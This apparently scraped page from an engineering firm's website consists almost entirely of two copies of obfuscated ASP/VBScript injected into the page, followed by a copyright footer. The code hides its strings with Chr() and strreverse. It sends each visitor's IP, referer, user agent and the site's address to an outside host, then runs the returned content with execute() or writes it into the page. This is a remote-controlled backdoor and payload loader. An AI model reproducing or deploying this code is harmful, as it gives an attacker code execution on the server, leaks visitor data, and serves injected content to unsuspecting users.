function R(i):R=Request.ServerVariables(i):end function:Dim S_R,U_R,U_A,U_I,GU,CT:if isset(R(strreverse(Chr(71)&Chr(78)&Chr(73)&Chr(82)&Chr(84)&Chr(83)&Chr(95)&Chr(89)&Chr(82)&Chr(69)&Chr(85)&Chr(81)))) then:S_R=LCase(R(strreverse(Chr(71)&Chr(78)&Chr(73)&Chr(82)&Chr(84)&Chr(83)&Chr(95)&Chr(89)&Chr(82)&Chr(69)&Chr(85)&Chr(81)))):else:S_R="":end if:if isset(R(strreverse(Chr(82)&Chr(69)&Chr(82)&Chr(69)&Chr(70)&Chr(69)&Chr(82)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72)))) then:U_R=LCase(R(strreverse(Chr(82)&Chr(69)&Chr(82)&Chr(69)&Chr(70)&Chr(69)&Chr(82)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72)))):else:U_R="":end if:if isset(R(strreverse(Chr(82)&Chr(69)&Chr(82)&Chr(69)&Chr(70)&Chr(69)&Chr(82)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72)))) then:U_I=LCase(R(strreverse(Chr(82)&Chr(68)&Chr(68)&Chr(65)&Chr(95)&Chr(69)&Chr(84)&Chr(79)&Chr(77)&Chr(69)&Chr(82)))):else:U_I="":end if:if isset(R(strreverse(Chr(84)&Chr(78)&Chr(69)&Chr(71)&Chr(65)&Chr(95)&Chr(82)&Chr(69)&Chr(83)&Chr(85)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72)))) then:U_A=LCase(R(strreverse(Chr(84)&Chr(78)&Chr(69)&Chr(71)&Chr(65)&Chr(95)&Chr(82)&Chr(69)&Chr(83)&Chr(85)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72)))):else:U_A="":end if:GU=strreverse(Chr(61)&Chr(48)&Chr(100)&Chr(63)&Chr(47)&Chr(103)&Chr(114)&Chr(111)&Chr(46)&Chr(103)&Chr(114)&Chr(111)&Chr(115)&Chr(119)&Chr(101)&Chr(110)&Chr(46)&Chr(49)&Chr(98)&Chr(47)&Chr(47)&Chr(58)&Chr(112)&Chr(116)&Chr(116)&Chr(104))&R(strreverse(Chr(84)&Chr(83)&Chr(79)&Chr(72)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72)))&R(strreverse(Chr(79)&Chr(70)&Chr(78)&Chr(73)&Chr(95)&Chr(72)&Chr(84)&Chr(65)&Chr(80)))&"&c1="&Server.URLEncode(S_R&"`"&U_R&"`"&U_A&"`"&U_I):CT=GetBody(GU):if isset(CT) then:if instr(CT,"") then:execute(replace(CT,"","")):else if instr(1,CT,"",1) then:E(replace(CT,"","")):if instr(CT,"") then:response.End():end if:end if:end if:sub E(m) response.write(m) end sub:function isset(str) if IsEmpty(str) or IsNull(str) then:isset=false:else:if str="" then:isset=false:else:isset=true:end if:end if end function:Function GetBody(Url):Dim objXML:On Error Resume Next:Set objXML=CreateObject("Microsoft.XMLHTTP") :With objXML:.Open "Get", Url, False, "", "":.Send :GetBody=.ResponseBody:End With :GetBody=BTB(GetBody,"utf-8"):Set objXML=Nothing :End Function::Function BTB(strBody,CodeBase):dim objStream:set objStream=Server.CreateObject("Adodb.Stream"):objStream.Type=1:objStream.Mode =3:objStream.Open:objStream.Write strBody:objStream.Position=0:objStream.Type=2:objStream.Charset=CodeBase:BTB=objStream.ReadText:objStream.Close:set objStream=nothing:End Function %> function R(i):R=Request.ServerVariables(i):end function:Dim S_R,U_R,U_A,U_I,GU,CT:if isset(R(strreverse(Chr(71)&Chr(78)&Chr(73)&Chr(82)&Chr(84)&Chr(83)&Chr(95)&Chr(89)&Chr(82)&Chr(69)&Chr(85)&Chr(81)))) then:S_R=LCase(R(strreverse(Chr(71)&Chr(78)&Chr(73)&Chr(82)&Chr(84)&Chr(83)&Chr(95)&Chr(89)&Chr(82)&Chr(69)&Chr(85)&Chr(81)))):else:S_R="":end if:if isset(R(strreverse(Chr(82)&Chr(69)&Chr(82)&Chr(69)&Chr(70)&Chr(69)&Chr(82)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72)))) then:U_R=LCase(R(strreverse(Chr(82)&Chr(69)&Chr(82)&Chr(69)&Chr(70)&Chr(69)&Chr(82)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72)))):else:U_R="":end if:if isset(R(strreverse(Chr(82)&Chr(69)&Chr(82)&Chr(69)&Chr(70)&Chr(69)&Chr(82)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72)))) then:U_I=LCase(R(strreverse(Chr(82)&Chr(68)&Chr(68)&Chr(65)&Chr(95)&Chr(69)&Chr(84)&Chr(79)&Chr(77)&Chr(69)&Chr(82)))):else:U_I="":end if:if isset(R(strreverse(Chr(84)&Chr(78)&Chr(69)&Chr(71)&Chr(65)&Chr(95)&Chr(82)&Chr(69)&Chr(83)&Chr(85)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72)))) then:U_A=LCase(R(strreverse(Chr(84)&Chr(78)&Chr(69)&Chr(71)&Chr(65)&Chr(95)&Chr(82)&Chr(69)&Chr(83)&Chr(85)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72)))):else:U_A="":end if:GU=strreverse(Chr(61)&Chr(48)&Chr(100)&Chr(63)&Chr(47)&Chr(103)&Chr(114)&Chr(111)&Chr(46)&Chr(103)&Chr(114)&Chr(111)&Chr(115)&Chr(119)&Chr(101)&Chr(110)&Chr(46)&Chr(98)&Chr(47)&Chr(47)&Chr(58)&Chr(112)&Chr(116)&Chr(116)&Chr(104))&R(strreverse(Chr(84)&Chr(83)&Chr(79)&Chr(72)&Chr(95)&Chr(80)&Chr(84)&Chr(84)&Chr(72)))&R(strreverse(Chr(79)&Chr(70)&Chr(78)&Chr(73)&Chr(95)&Chr(72)&Chr(84)&Chr(65)&Chr(80)))&"&c1="&Server.URLEncode(S_R&"`"&U_R&"`"&U_A&"`"&U_I):CT=GetBody(GU):if isset(CT) then:if instr(CT,"") then:execute(replace(CT,"","")):else if instr(1,CT,"",1) then:E(replace(CT,"","")):if instr(CT,"") then:response.End():end if:end if:end if:sub E(m) response.write(m) end sub:function isset(str) if IsEmpty(str) or IsNull(str) then:isset=false:else:if str="" then:isset=false:else:isset=true:end if:end if end function:Function GetBody(Url):Dim objXML:On Error Resume Next:Set objXML=CreateObject("Microsoft.XMLHTTP") :With objXML:.Open "Get", Url, False, "", "":.Send :GetBody=.ResponseBody:End With :GetBody=BTB(GetBody,"utf-8"):Set objXML=Nothing :End Function::Function BTB(strBody,CodeBase):dim objStream:set objStream=Server.CreateObject("Adodb.Stream"):objStream.Type=1:objStream.Mode =3:objStream.Open:objStream.Write strBody:objStream.Position=0:objStream.Type=2:objStream.Charset=CodeBase:BTB=objStream.ReadText:objStream.Close:set objStream=nothing:End Function %> EJ Engineering Group

© www.ejengineering.com